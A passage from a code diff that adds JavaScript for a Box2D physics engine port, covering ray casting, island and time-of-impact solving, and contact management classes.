+ * @param {function(!Box2D.Dynamics.b2Fixture, !Box2D.Common.Math.b2Vec2, !Box2D.Common.Math.b2Vec2, number): number} callback
+ * @param {!Box2D.Common.Math.b2Vec2} point1
+ * @param {!Box2D.Common.Math.b2Vec2} point2
+ */
+Box2D.Dynamics.b2World.prototype.RayCast = function(callback, point1, point2) {
+ var broadPhase = this.m_contactManager.m_broadPhase;
+ var output = new Box2D.Collision.b2RayCastOutput();
+ /**
+ * @param {!Box2D.Collision.b2RayCastInput} input
+ * @param {!Box2D.Dynamics.b2Fixture} fixture
+ */
+ var RayCastWrapper = function(input, fixture) {
+ var hit = fixture.RayCast(output, input);
+ if (hit) {
+ var flipFrac = 1 - output.fraction;
+ var point = Box2D.Common.Math.b2Vec2.Get(flipFrac * point1.x + output.fraction * point2.x, flipFrac * point1.y + output.fraction * point2.y);
+ var retVal = callback(fixture, point, output.normal, output.fraction);
+ Box2D.Common.Math.b2Vec2.Free(point);
+ return retVal;
+ } else {
+ return input.maxFraction;
+ }
+ };
+ var input = new Box2D.Collision.b2RayCastInput(point1, point2, 1 /* maxFraction */ );
+ broadPhase.RayCast(RayCastWrapper, input);
+};
+/**
+ * @param {!Box2D.Common.Math.b2Vec2} point1
+ * @param {!Box2D.Common.Math.b2Vec2} point2
+ * @return {Box2D.Dynamics.b2Fixture}
+ */
+Box2D.Dynamics.b2World.prototype.RayCastOne = function(point1, point2) {
+ var result = null;
+ /**
+ * @param {!Box2D.Dynamics.b2Fixture} fixture
+ * @param {!Box2D.Common.Math.b2Vec2} point
+ * @param {!Box2D.Common.Math.b2Vec2} normal
+ * @param {number} fraction
+ * @return {number}
+ */
+ var RayCastOneWrapper = function(fixture, point, normal, fraction) {
+ result = fixture;
+ return fraction;
+ };
+ this.RayCast(RayCastOneWrapper, point1, point2);
+ return result;
+};
+/**
+ * @param {!Box2D.Common.Math.b2Vec2} point1
+ * @param {!Box2D.Common.Math.b2Vec2} point2
+ * @return {Array.}
+ */
+Box2D.Dynamics.b2World.prototype.RayCastAll = function(point1, point2) {
+ var result = [];
+ /**
+ * @param {!Box2D.Dynamics.b2Fixture} fixture
+ * @param {!Box2D.Common.Math.b2Vec2} point
+ * @param {!Box2D.Common.Math.b2Vec2} normal
+ * @param {number} fraction
+ * @return {number}
+ */
+ var RayCastAllWrapper = function(fixture, point, normal, fraction) {
+ result.push(fixture);
+ return 1;
+ };
+ this.RayCast(RayCastAllWrapper, point1, point2);
+ return result;
+};
+/**
+ * @return {!Box2D.Dynamics.b2BodyList}
+ */
+Box2D.Dynamics.b2World.prototype.GetBodyList = function() {
+ return this.bodyList;
+};
+/**
+ * @return {Box2D.Dynamics.Joints.b2Joint}
+ */
+Box2D.Dynamics.b2World.prototype.GetJointList = function() {
+ return this.m_jointList;
+};
+/**
+ * @return {Box2D.Dynamics.Contacts.b2Contact}
+ */
+Box2D.Dynamics.b2World.prototype.GetContactList = function() {
+ return this.contactList;
+};
+/**
+ * @return {boolean}
+ */
+Box2D.Dynamics.b2World.prototype.IsLocked = function() {
+ return this.m_isLocked;
+};
+var b2solvearray = [];
+/**
+ * @param {!Box2D.Dynamics.b2TimeStep} step
+ */
+Box2D.Dynamics.b2World.prototype.Solve = function(step) {
+ for (var controllerNode = this.controllerList.GetFirstNode(); controllerNode; controllerNode = controllerNode.GetNextNode()) {
+ controllerNode.controller.Step(step);
+ }
+ var m_island = new Box2D.Dynamics.b2Island(this.m_contactManager.m_contactListener, this.m_contactSolver);
+ for (var bodyNode = this.bodyList.GetFirstNode(Box2D.Dynamics.b2BodyList.TYPES.allBodies); bodyNode; bodyNode = bodyNode.GetNextNode()) {
+ bodyNode.body.m_islandFlag = false;
+ }
+ for (var contactNode = this.contactList.GetFirstNode(Box2D.Dynamics.Contacts.b2ContactList.TYPES.allContacts); contactNode; contactNode = contactNode.GetNextNode()) {
+ contactNode.contact.m_islandFlag = false;
+ }
+ for (var j = this.m_jointList; j; j = j.m_next) {
+ j.m_islandFlag = false;
+ }
+ for (var bodyNode = this.bodyList.GetFirstNode(Box2D.Dynamics.b2BodyList.TYPES.nonStaticActiveAwakeBodies); bodyNode; bodyNode = bodyNode.GetNextNode()) {
+ var seed = bodyNode.body;
+ if (seed.m_islandFlag) {
+ continue;
+ }
+ m_island.Clear();
+ b2solvearray.length = 0;
+ var stack = b2solvearray;
+ stack.push(seed);
+ seed.m_islandFlag = true;
+ while (stack.length > 0) {
+ var b = stack.pop();
+ m_island.AddBody(b);
+ if (!b.IsAwake()) {
+ b.SetAwake(true);
+ }
+ if (b.GetType() == Box2D.Dynamics.b2BodyDef.b2_staticBody) {
+ continue;
+ }
+ for (var contactNode = b.contactList.GetFirstNode(Box2D.Dynamics.Contacts.b2ContactList.TYPES.nonSensorEnabledTouchingContacts); contactNode; contactNode = contactNode.GetNextNode()) {
+ var contact = contactNode.contact;
+ if (contact.m_islandFlag) {
+ continue;
+ }
+ m_island.AddContact(contact);
+ contact.m_islandFlag = true;
+ var other = contact.GetOther(b);
+ if (other.m_islandFlag) {
+ continue;
+ }
+ stack.push(other);
+ other.m_islandFlag = true;
+ }
+ for (var jn = b.m_jointList; jn; jn = jn.next) {
+ if (jn.joint.m_islandFlag || !jn.other.IsActive()) {
+ continue;
+ }
+ m_island.AddJoint(jn.joint);
+ jn.joint.m_islandFlag = true;
+ if (jn.other.m_islandFlag) {
+ continue;
+ }
+ stack.push(jn.other);
+ jn.other.m_islandFlag = true;
+ }
+ }
+ m_island.Solve(step, this.m_gravity, this.m_allowSleep);
+ }
+ for (var bodyNode = this.bodyList.GetFirstNode(Box2D.Dynamics.b2BodyList.TYPES.nonStaticActiveAwakeBodies); bodyNode; bodyNode = bodyNode.GetNextNode()) {
+ bodyNode.body.SynchronizeFixtures();
+ }
+ this.m_contactManager.FindNewContacts();
+};
+/**
+ * @param {!Box2D.Dynamics.b2TimeStep} step
+ */
+Box2D.Dynamics.b2World.prototype.SolveTOI = function(step) {
+ var m_island = new Box2D.Dynamics.b2Island(this.m_contactManager.m_contactListener, this.m_contactSolver);
+ for (var bodyNode = this.bodyList.GetFirstNode(Box2D.Dynamics.b2BodyList.TYPES.allBodies); bodyNode; bodyNode = bodyNode.GetNextNode()) {
+ var b = bodyNode.body;
+ b.m_islandFlag = false;
+ b.m_sweep.t0 = 0.0;
+ }
+ for (var contactNode = this.contactList.GetFirstNode(Box2D.Dynamics.Contacts.b2ContactList.TYPES.allContacts); contactNode; contactNode = contactNode.GetNextNode()) {
+ contactNode.contact.m_islandFlag = false;
+ contactNode.contact.m_toi = null;
+ }
+ for (var j = this.m_jointList; j; j = j.m_next) {
+ j.m_islandFlag = false;
+ }
+ while (true) {
+ var toi2 = this._SolveTOI2(step);
+ var minContact = toi2.minContact;
+ var minTOI = toi2.minTOI;
+ if (minContact === null || Box2D.Dynamics.b2World.MAX_TOI < minTOI) {
+ break;
+ }
+ var fixtureABody = minContact.m_fixtureA.GetBody();
+ var fixtureBBody = minContact.m_fixtureB.GetBody();
+ Box2D.Dynamics.b2World.s_backupA.Set(fixtureABody.m_sweep);
+ Box2D.Dynamics.b2World.s_backupB.Set(fixtureBBody.m_sweep);
+ fixtureABody.Advance(minTOI);
+ fixtureBBody.Advance(minTOI);
+ minContact.Update(this.m_contactManager.m_contactListener);
+ minContact.m_toi = null;
+ if (minContact.sensor || !minContact.enabled) {
+ fixtureABody.m_sweep.Set(Box2D.Dynamics.b2World.s_backupA);
+ fixtureBBody.m_sweep.Set(Box2D.Dynamics.b2World.s_backupB);
+ fixtureABody.SynchronizeTransform();
+ fixtureBBody.SynchronizeTransform();
+ continue;
+ }
+ if (!minContact.touching) {
+ continue;
+ }
+ var seed = fixtureABody;
+ if (seed.GetType() != Box2D.Dynamics.b2BodyDef.b2_dynamicBody) {
+ seed = fixtureBBody;
+ }
+ m_island.Clear();
+ b2solvearray.length = 0;
+ var queue = b2solvearray;
+ queue.push(seed);
+ seed.m_islandFlag = true;
+ while (queue.length > 0) {
+ var b = queue.pop();
+ m_island.AddBody(b);
+ if (!b.IsAwake()) {
+ b.SetAwake(true);
+ }
+ if (b.GetType() != Box2D.Dynamics.b2BodyDef.b2_dynamicBody) {
+ continue;
+ }
+ for (var contactNode = b.contactList.GetFirstNode(Box2D.Dynamics.Contacts.b2ContactList.TYPES.nonSensorEnabledTouchingContacts); contactNode; contactNode = contactNode.GetNextNode()) {
+ if (m_island.m_contactCount == Box2D.Common.b2Settings.b2_maxTOIContactsPerIsland) {
+ break;
+ }
+ var contact = contactNode.contact;
+ if (contact.m_islandFlag) {
+ continue;
+ }
+ m_island.AddContact(contact);
+ contact.m_islandFlag = true;
+ var other = contact.GetOther(b);
+ if (other.m_islandFlag) {
+ continue;
+ }
+ if (other.GetType() != Box2D.Dynamics.b2BodyDef.b2_staticBody) {
+ other.Advance(minTOI);
+ other.SetAwake(true);
+ queue.push(other);
+ }
+ other.m_islandFlag = true;
+ }
+ for (var jEdge = b.m_jointList; jEdge; jEdge = jEdge.next) {
+ if (m_island.m_jointCount == Box2D.Common.b2Settings.b2_maxTOIJointsPerIsland) {
+ continue;
+ }
+ if (jEdge.joint.m_islandFlag || !jEdge.other.IsActive()) {
+ continue;
+ }
+ m_island.AddJoint(jEdge.joint);
+ jEdge.joint.m_islandFlag = true;
+ if (jEdge.other.m_islandFlag) {
+ continue;
+ }
+ if (jEdge.other.GetType() != Box2D.Dynamics.b2BodyDef.b2_staticBody) {
+ jEdge.other.Advance(minTOI);
+ jEdge.other.SetAwake(true);
+ queue.push(jEdge.other);
+ }
+ jEdge.other.m_islandFlag = true;
+ }
+ }
+ m_island.SolveTOI(new Box2D.Dynamics.b2TimeStep((1.0 - minTOI) * step.dt /* dt */, 0 /* dtRatio */, step.velocityIterations, step.positionIterations, false /* warmStarting */));
+ for (var i = 0; i < m_island.m_bodies.length; i++) {
+ m_island.m_bodies[i].m_islandFlag = false;
+ if (!m_island.m_bodies[i].IsAwake() || m_island.m_bodies[i].GetType() != Box2D.Dynamics.b2BodyDef.b2_dynamicBody) {
+ continue;
+ }
+ m_island.m_bodies[i].SynchronizeFixtures();
+ for (var contactNode = m_island.m_bodies[i].contactList.GetFirstNode(Box2D.Dynamics.Contacts.b2ContactList.TYPES.allContacts); contactNode; contactNode = contactNode.GetNextNode()) {
+ contactNode.contact.m_toi = null;
+ }
+ }
+ for (var i = 0; i < m_island.m_contactCount; i++) {
+ m_island.m_contacts[i].m_islandFlag = false;
+ m_island.m_contacts[i].m_toi = null;
+ }
+ for (var i = 0; i < m_island.m_jointCount; i++) {
+ m_island.m_joints[i].m_islandFlag = false;
+ }
+ this.m_contactManager.FindNewContacts();
+ }
+};
+/**
+ * @param {!Box2D.Dynamics.b2TimeStep} step
+ * @return {{minContact: Box2D.Dynamics.Contacts.b2Contact, minTOI: number}}
+ */
+Box2D.Dynamics.b2World.prototype._SolveTOI2 = function(step) {
+ var minContact = null;
+ var minTOI = 1.0;
+ var contacts = 0;
+ for (var contactNode = this.contactList.GetFirstNode(Box2D.Dynamics.Contacts.b2ContactList.TYPES.nonSensorEnabledContinuousContacts); contactNode; contactNode = contactNode.GetNextNode()) {
+ var c = contactNode.contact;
+ if (this._SolveTOI2SkipContact(step, c)) {
+ continue;
+ }
+ var toi = 1.0;
+ if (c.m_toi != null) {
+ toi = c.m_toi;
+ } else if (c.touching) {
+ toi = 1;
+ c.m_toi = toi;
+ } else {
+ var fixtureABody = c.m_fixtureA.GetBody();
+ var fixtureBBody = c.m_fixtureB.GetBody();
+ var t0 = fixtureABody.m_sweep.t0;
+ if (fixtureABody.m_sweep.t0 < fixtureBBody.m_sweep.t0) {
+ t0 = fixtureBBody.m_sweep.t0;
+ fixtureABody.m_sweep.Advance(t0);
+ } else if (fixtureBBody.m_sweep.t0 < fixtureABody.m_sweep.t0) {
+ t0 = fixtureABody.m_sweep.t0;
+ fixtureBBody.m_sweep.Advance(t0);
+ }
+ toi = c.ComputeTOI(fixtureABody.m_sweep, fixtureBBody.m_sweep);
+;
+ if (toi > 0.0 && toi < 1.0) {
+ toi = (1.0 - toi) * t0 + toi;
+ }
+ c.m_toi = toi;
+ }
+ if (Number.MIN_VALUE < toi && toi < minTOI) {
+ minContact = c;
+ minTOI = toi;
+ }
+ }
+ return {
+ minContact: minContact,
+ minTOI: minTOI
+ };
+};
+/**
+ * @param {!Box2D.Dynamics.b2TimeStep} step
+ * @param {!Box2D.Dynamics.Contacts.b2Contact} c
+ * @return {boolean}
+ */
+Box2D.Dynamics.b2World.prototype._SolveTOI2SkipContact = function(step, c) {
+ var fixtureABody = c.m_fixtureA.GetBody();
+ var fixtureBBody = c.m_fixtureB.GetBody();
+ if ((fixtureABody.GetType() != Box2D.Dynamics.b2BodyDef.b2_dynamicBody || !fixtureABody.IsAwake()) && (fixtureBBody.GetType() != Box2D.Dynamics.b2BodyDef.b2_dynamicBody || !fixtureBBody.IsAwake())) {
+ return true;
+ }
+ return false;
+};
+/**
+ * @param {!Box2D.Dynamics.b2Fixture} fixtureA
+ * @param {!Box2D.Dynamics.b2Fixture} fixtureB
+ * @constructor
+ */
+Box2D.Dynamics.Contacts.b2Contact = function(fixtureA, fixtureB) {
+ /**
+ * @const
+ * @private
+ * @type {string}
+ */
+ this.ID = "Contact" + Box2D.Dynamics.Contacts.b2Contact.NEXT_ID++;
+ /**
+ * @private
+ * @type {!Box2D.Collision.b2Manifold}
+ */
+ this.m_manifold = new Box2D.Collision.b2Manifold();
+ /**
+ * @private
+ * @type {!Box2D.Collision.b2Manifold}
+ */
+ this.m_oldManifold = new Box2D.Collision.b2Manifold();
+ /**
+ * @private
+ * @type {boolean}
+ */
+ this.touching = false;
+ var bodyA = fixtureA.GetBody();
+ var bodyB = fixtureB.GetBody();
+ /**
+ * @private
+ * @type {boolean}
+ */
+ this.continuous = (bodyA.GetType() != Box2D.Dynamics.b2BodyDef.b2_dynamicBody) ||
+ bodyA.IsBullet() ||
+ (bodyB.GetType() != Box2D.Dynamics.b2BodyDef.b2_dynamicBody) ||
+ bodyB.IsBullet();
+ /**
+ * @private
+ * @type {boolean}
+ */
+ this.sensor = fixtureA.IsSensor() || fixtureB.IsSensor();
+ /**
+ * @private
+ * @type {boolean}
+ */
+ this.filtering = false;
+ /**
+ * @private
+ * @type {!Box2D.Dynamics.b2Fixture}
+ */
+ this.m_fixtureA = fixtureA;
+ /**
+ * @private
+ * @type {!Box2D.Dynamics.b2Fixture}
+ */
+ this.m_fixtureB = fixtureB;
+ /**
+ * @private
+ * @type {boolean}
+ */
+ this.enabled = true;
+ /**
+ * @private
+ * @type {!Box2D.Dynamics.Contacts.b2ContactList}
+ */
+ this.bodyAList = bodyA.GetContactList();
+ /**
+ * @private
+ * @type {!Box2D.Dynamics.Contacts.b2ContactList}
+ */
+ this.bodyBList = bodyB.GetContactList();
+ /**
+ * @private
+ * @type {!Box2D.Dynamics.Contacts.b2ContactList}
+ */
+ this.worldList = bodyB.GetWorld().GetContactList();
+ this.AddToLists();
+};
+/**
+ * @param {!Box2D.Dynamics.b2Fixture} fixtureA
+ * @param {!Box2D.Dynamics.b2Fixture} fixtureB
+ */
+Box2D.Dynamics.Contacts.b2Contact.prototype.Reset = function(fixtureA, fixtureB) {
+ this.m_manifold.Reset();
+ this.m_oldManifold.Reset();
+ this.touching = false;
+ var bodyA = fixtureA.GetBody();
+ var bodyB = fixtureB.GetBody();
+ this.continuous = (bodyA.GetType() != Box2D.Dynamics.b2BodyDef.b2_dynamicBody) ||
+ bodyA.IsBullet() ||
+ (bodyB.GetType() != Box2D.Dynamics.b2BodyDef.b2_dynamicBody) ||
+ bodyB.IsBullet();
+ this.sensor = fixtureA.IsSensor() || fixtureB.IsSensor();
+ this.filtering = false;
+ this.m_fixtureA = fixtureA;
+ this.m_fixtureB = fixtureB;
+ this.enabled = true;
+ this.bodyAList = bodyA.GetContactList();
+ this.bodyBList = bodyB.GetContactList();
+ this.worldList = bodyB.GetWorld().GetContactList();
+ this.AddToLists();
+};
+Box2D.Dynamics.Contacts.b2Contact.prototype.AddToLists = function () {
+ this.bodyAList.AddContact(this);
+ this.bodyBList.AddContact(this);
+ this.worldList.AddContact(this);
+ this.UpdateLists();
+};
+Box2D.Dynamics.Contacts.b2Contact.prototype.UpdateLists = function () {
+ var nonSensorEnabledTouching = false;
+ var nonSensorEnabledContinuous = false;
+ if (!this.IsSensor() && this.IsEnabled()) {
+ if (this.IsTouching()) {
+ nonSensorEnabledTouching = true;
+ }
+ if (this.IsContinuous()) {
+ nonSensorEnabledContinuous = true;
+ }
+ }
+ this.bodyAList.UpdateContact(this, nonSensorEnabledTouching, nonSensorEnabledContinuous);
+ this.bodyBList.UpdateContact(this, nonSensorEnabledTouching, nonSensorEnabledContinuous);
+ this.worldList.UpdateContact(this, nonSensorEnabledTouching, nonSensorEnabledContinuous);
+};
+Box2D.Dynamics.Contacts.b2Contact.prototype.RemoveFromLists = function () {
+ this.bodyAList.RemoveContact(this);
+ this.bodyBList.RemoveContact(this);
+ this.worldList.RemoveContact(this);
+};
+/**
+ * @return {!Box2D.Collision.b2Manifold}
+ */
+Box2D.Dynamics.Contacts.b2Contact.prototype.GetManifold = function () {
+ return this.m_manifold;
+};
+/**
+ * @param {!Box2D.Collision.b2WorldManifold} worldManifold
+ */
+Box2D.Dynamics.Contacts.b2Contact.prototype.GetWorldManifold = function (worldManifold) {
+ var bodyA = this.m_fixtureA.GetBody();
+ var bodyB = this.m_fixtureB.GetBody();
+ var shapeA = this.m_fixtureA.GetShape();
+ var shapeB = this.m_fixtureB.GetShape();
+ worldManifold.Initialize(this.m_manifold, bodyA.GetTransform(), shapeA.m_radius, bodyB.GetTransform(), shapeB.m_radius);
+};
+/**
+ * @return {boolean}
+ */
+Box2D.Dynamics.Contacts.b2Contact.prototype.IsTouching = function () {
+ return this.touching;
+};
+/**
+ * @return {boolean}
+ */
+Box2D.Dynamics.Contacts.b2Contact.prototype.IsContinuous = function () {
+ return this.continuous;
+};
+/**
+ * @param {boolean} sensor
+ */
+Box2D.Dynamics.Contacts.b2Contact.prototype.SetSensor = function (sensor) {
+ this.sensor = sensor;
+ this.UpdateLists();
+};
+/**
+ * @return {boolean}
+ */
+Box2D.Dynamics.Contacts.b2Contact.prototype.IsSensor = function () {
+ return this.sensor;
+};
+/**
+ * @param {boolean} flag
+ */
+Box2D.Dynamics.Contacts.b2Contact.prototype.SetEnabled = function (flag) {
+ this.enabled = flag;
+ this.UpdateLists();
+};
+/**
+ * @return {boolean}
+ */
+Box2D.Dynamics.Contacts.b2Contact.prototype.IsEnabled = function () {
+ return this.enabled;
+};
+/**
+ * @return {Box2D.Dynamics.Contacts.b2Contact}
+ */
+Box2D.Dynamics.Contacts.b2Contact.prototype.GetNext = function () {
+ return this.m_next;
+};
+/**
+ * @return {!Box2D.Dynamics.b2Fixture}
+ */
+Box2D.Dynamics.Contacts.b2Contact.prototype.GetFixtureA = function () {
+ return this.m_fixtureA;
+};
+/**
+ * @return {!Box2D.Dynamics.b2Fixture}
+ */
+Box2D.Dynamics.Contacts.b2Contact.prototype.GetFixtureB = function () {
+ return this.m_fixtureB;
+};
+/**
+ * @param {!Box2D.Dynamics.b2Body} body
+ * @return {!Box2D.Dynamics.b2Body}
+ */
+Box2D.Dynamics.Contacts.b2Contact.prototype.GetOther = function (body) {
+ var bodyA = this.m_fixtureA.GetBody();
+ if (bodyA != body) {
+ return bodyA;
+ } else {
+ return this.m_fixtureB.GetBody();
+ }
+};
+Box2D.Dynamics.Contacts.b2Contact.prototype.FlagForFiltering = function () {
+ this.filtering = true;
+};
+Box2D.Dynamics.Contacts.b2Contact.prototype.ClearFiltering = function () {
+ this.filtering = false;
+};
+/**
+ * @return {boolean}
+ */
+Box2D.Dynamics.Contacts.b2Contact.prototype.IsFiltering = function () {
+ return this.filtering;
+};
+Box2D.Dynamics.Contacts.b2Contact.prototype.Update = function (listener) {
+ var tManifold = this.m_oldManifold;
+ this.m_oldManifold = this.m_manifold;
+ this.m_manifold = tManifold;
+ this.enabled = true;
+ var touching = false;
+ var wasTouching = this.IsTouching();
+ var bodyA = this.m_fixtureA.GetBody();
+ var bodyB = this.m_fixtureB.GetBody();
+ var aabbOverlap = this.m_fixtureA.m_aabb.TestOverlap(this.m_fixtureB.m_aabb);
+ if (this.sensor) {
+ if (aabbOverlap) {
+ touching = Box2D.Collision.Shapes.b2Shape.TestOverlap(this.m_fixtureA.GetShape(), bodyA.GetTransform(), this.m_fixtureB.GetShape(), bodyB.GetTransform());
+ }
+ this.m_manifold.m_pointCount = 0;
+ } else {
+ if (bodyA.GetType() != Box2D.Dynamics.b2BodyDef.b2_dynamicBody || bodyA.IsBullet() || bodyB.GetType() != Box2D.Dynamics.b2BodyDef.b2_dynamicBody || bodyB.IsBullet()) {
+ this.continuous = true;
+ } else {
+ this.continuous = false;
+ }
+ if (aabbOverlap) {
+ this.Evaluate();
+ touching = this.m_manifold.m_pointCount > 0;
+ for (var i = 0; i < this.m_manifold.m_pointCount; i++) {
+ var mp2 = this.m_manifold.m_points[i];
+ mp2.m_normalImpulse = 0.0;
+ mp2.m_tangentImpulse = 0.0;
+ for (var j = 0; j < this.m_oldManifold.m_pointCount; j++) {
+ var mp1 = this.m_oldManifold.m_points[j];
+ if (mp1.m_id.GetKey() == mp2.m_id.GetKey()) {
+ mp2.m_normalImpulse = mp1.m_normalImpulse;
+ mp2.m_tangentImpulse = mp1.m_tangentImpulse;
+ break;
+ }
+ }
+ }
+ } else {
+ this.m_manifold.m_pointCount = 0;
+ }
+ if (touching != wasTouching) {
+ bodyA.SetAwake(true);
+ bodyB.SetAwake(true);
+ }
+ }
+ this.touching = touching;
+ if (touching != wasTouching) {
+ this.UpdateLists();
+ }
+ if (!wasTouching && touching) {
+ listener.BeginContact(this);
+ }
+ if (wasTouching && !touching) {
+ listener.EndContact(this);
+ }
+ if (!this.sensor) {
+ listener.PreSolve(this, this.m_oldManifold);
+ }
+};
+Box2D.Dynamics.Contacts.b2Contact.prototype.Evaluate = function () {};
+Box2D.Dynamics.Contacts.b2Contact.prototype.ComputeTOI = function (sweepA, sweepB) {
+ Box2D.Dynamics.Contacts.b2Contact.s_input.proxyA.Set(this.m_fixtureA.GetShape());
+ Box2D.Dynamics.Contacts.b2Contact.s_input.proxyB.Set(this.m_fixtureB.GetShape());
+ Box2D.Dynamics.Contacts.b2Contact.s_input.sweepA = sweepA;
+ Box2D.Dynamics.Contacts.b2Contact.s_input.sweepB = sweepB;
+ Box2D.Dynamics.Contacts.b2Contact.s_input.tolerance = Box2D.Common.b2Settings.b2_linearSlop;
+ return Box2D.Collision.b2TimeOfImpact.TimeOfImpact(Box2D.Dynamics.Contacts.b2Contact.s_input);
+};
+Box2D.Dynamics.Contacts.b2Contact.s_input = new Box2D.Collision.b2TOIInput();
+/**
+ * @type {number}
+ * @private
+ */
+Box2D.Dynamics.Contacts.b2Contact.NEXT_ID = 0;
+/**
+ * @param {!Box2D.Dynamics.b2Fixture} fixtureA
+ * @param {!Box2D.Dynamics.b2Fixture} fixtureB
+ * @constructor
+ * @extends {Box2D.Dynamics.Contacts.b2Contact}
+ */
+Box2D.Dynamics.Contacts.b2CircleContact = function(fixtureA, fixtureB) {
+ Box2D.Dynamics.Contacts.b2Contact.call(this, fixtureA, fixtureB);
+};
+c2inherit(Box2D.Dynamics.Contacts.b2CircleContact, Box2D.Dynamics.Contacts.b2Contact);
+/**
+ * @param {!Box2D.Dynamics.b2Fixture} fixtureA
+ * @param {!Box2D.Dynamics.b2Fixture} fixtureB
+ */
+Box2D.Dynamics.Contacts.b2CircleContact.prototype.Reset = function(fixtureA, fixtureB) {
+ Box2D.Dynamics.Contacts.b2Contact.prototype.Reset.call(this, fixtureA, fixtureB);
+};
+Box2D.Dynamics.Contacts.b2CircleContact.prototype.Evaluate = function() {
+ Box2D.Collision.b2Collision.CollideCircles(this.m_manifold, this.m_fixtureA.GetShape(), this.m_fixtureA.GetBody().m_xf, this.m_fixtureB.GetShape(), this.m_fixtureB.GetBody().m_xf);
+};
+/**
+ * @constructor
+ */
+Box2D.Dynamics.Contacts.b2ContactConstraint = function() {
+ this.localPlaneNormal = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.localPoint = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.normal = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.normalMass = new Box2D.Common.Math.b2Mat22();
+ this.K = new Box2D.Common.Math.b2Mat22();
+ this.points = [];
+ for (var i = 0; i < Box2D.Common.b2Settings.b2_maxManifoldPoints; i++) {
+ this.points[i] = new Box2D.Dynamics.Contacts.b2ContactConstraintPoint();
+ }
+};
+/**
+ * @constructor
+ */
+Box2D.Dynamics.Contacts.b2ContactConstraintPoint = function() {
+ this.localPoint = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.rA = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.rB = Box2D.Common.Math.b2Vec2.Get(0, 0);
+};
+Box2D.Dynamics.Contacts.b2ContactConstraintPoint.prototype.Reset = function() {
+ this.localPoint.Set(0, 0);
+ this.rA.Set(0, 0);
+ this.rB.Set(0, 0);
+};
+/**
+ * @constructor
+ */
+Box2D.Dynamics.Contacts.b2ContactFactory = function() {
+ /**
+ * @private
+ */
+ this.m_registers = {};
+ /**
+ * @private
+ * @type {Object.>>}
+ */
+ this.m_freeContacts = {};
+ this.AddType(Box2D.Dynamics.Contacts.b2CircleContact, Box2D.Collision.Shapes.b2CircleShape.NAME, Box2D.Collision.Shapes.b2CircleShape.NAME);
+ this.AddType(Box2D.Dynamics.Contacts.b2PolyAndCircleContact, Box2D.Collision.Shapes.b2PolygonShape.NAME, Box2D.Collision.Shapes.b2CircleShape.NAME);
+ this.AddType(Box2D.Dynamics.Contacts.b2PolygonContact, Box2D.Collision.Shapes.b2PolygonShape.NAME, Box2D.Collision.Shapes.b2PolygonShape.NAME);
+ this.AddType(Box2D.Dynamics.Contacts.b2EdgeAndCircleContact, Box2D.Collision.Shapes.b2EdgeShape.NAME, Box2D.Collision.Shapes.b2CircleShape.NAME);
+ this.AddType(Box2D.Dynamics.Contacts.b2PolyAndEdgeContact, Box2D.Collision.Shapes.b2PolygonShape.NAME, Box2D.Collision.Shapes.b2EdgeShape.NAME);
+};
+Box2D.Dynamics.Contacts.b2ContactFactory.prototype.AddType = function(ctor, type1, type2) {
+ this.m_freeContacts[type1] = this.m_freeContacts[type1] || {};
+ this.m_freeContacts[type1][type2] = this.m_freeContacts[type1][type2] || [];
+ this.m_registers[type1] = this.m_registers[type1] || {};
+ this.m_registers[type1][type2] = new Box2D.Dynamics.Contacts.b2ContactRegister();
+ this.m_registers[type1][type2].ctor = ctor;
+ this.m_registers[type1][type2].primary = true;
+ if (type1 != type2) {
+ this.m_registers[type2] = this.m_registers[type2] || {};
+ this.m_registers[type2][type1] = new Box2D.Dynamics.Contacts.b2ContactRegister();
+ this.m_registers[type2][type1].ctor = ctor;
+ this.m_registers[type2][type1].primary = false;
+ }
+};
+Box2D.Dynamics.Contacts.b2ContactFactory.prototype.Create = function(fixtureA, fixtureB) {
+ var type1 = fixtureA.GetShape().GetTypeName();
+ var type2 = fixtureB.GetShape().GetTypeName();
+ var reg = this.m_registers[type1][type2];
+ var ctor = reg.ctor;
+ if (ctor != null) {
+ if (reg.primary) {
+ if (this.m_freeContacts[type1][type2].length > 0) {
+ var c = this.m_freeContacts[type1][type2].pop();
+ c.Reset(fixtureA, fixtureB);
+ return c;
+ }
+ return new ctor(fixtureA, fixtureB);
+ } else {
+ if (this.m_freeContacts[type2][type1].length > 0) {
+ var c = this.m_freeContacts[type2][type1].pop();
+ c.Reset(fixtureB, fixtureA);
+ return c;
+ }
+ return new ctor(fixtureB, fixtureA);
+ }
+ } else {
+ return null;
+ }
+};
+Box2D.Dynamics.Contacts.b2ContactFactory.prototype.Destroy = function(contact) {
+ var type1 = contact.m_fixtureA.GetShape().GetTypeName();
+ var type2 = contact.m_fixtureB.GetShape().GetTypeName();
+ this.m_freeContacts[type1][type2].push(contact);
+};
+/**
+ * @constructor
+ */
+Box2D.Dynamics.Contacts.b2ContactList = function() {
+ /**
+ * @private
+ * @type {Array.}
+ */
+ this.contactFirstNodes = [];
+ for(var i = 0; i <= Box2D.Dynamics.Contacts.b2ContactList.TYPES.allContacts; i++) {
+ this.contactFirstNodes[i] = null;
+ }
+ /**
+ * @private
+ * @type {Array.}
+ */
+ this.contactLastNodes = [];
+ for(var i = 0; i <= Box2D.Dynamics.Contacts.b2ContactList.TYPES.allContacts; i++) {
+ this.contactLastNodes[i] = null;
+ }
+ /**
+ * @private
+ * @type {Object.>}
+ */
+ this.contactNodeLookup = {};
+ /**
+ * @private
+ * @type {number}
+ */
+ this.contactCount = 0;
+};
+/**
+ * @param {number} type
+ * @return {Box2D.Dynamics.Contacts.b2ContactListNode}
+ */
+Box2D.Dynamics.Contacts.b2ContactList.prototype.GetFirstNode = function(type) {
+ return this.contactFirstNodes[type];
+};
+/**
+ * @param {!Box2D.Dynamics.Contacts.b2Contact} contact
+ */
+Box2D.Dynamics.Contacts.b2ContactList.prototype.AddContact = function(contact) {
+ var contactID = contact.ID;
+ if (this.contactNodeLookup[contactID] == null) {
+ this.contactNodeLookup[contactID] = [];
+ for(var i = 0; i <= Box2D.Dynamics.Contacts.b2ContactList.TYPES.allContacts; i++) {
+ this.contactNodeLookup[contactID][i] = null;
+ }
+ this.CreateNode(contact, contactID, Box2D.Dynamics.Contacts.b2ContactList.TYPES.allContacts);
+ this.contactCount++;
+ }
+};
+/**
+ * @param {!Box2D.Dynamics.Contacts.b2Contact} contact
+ */
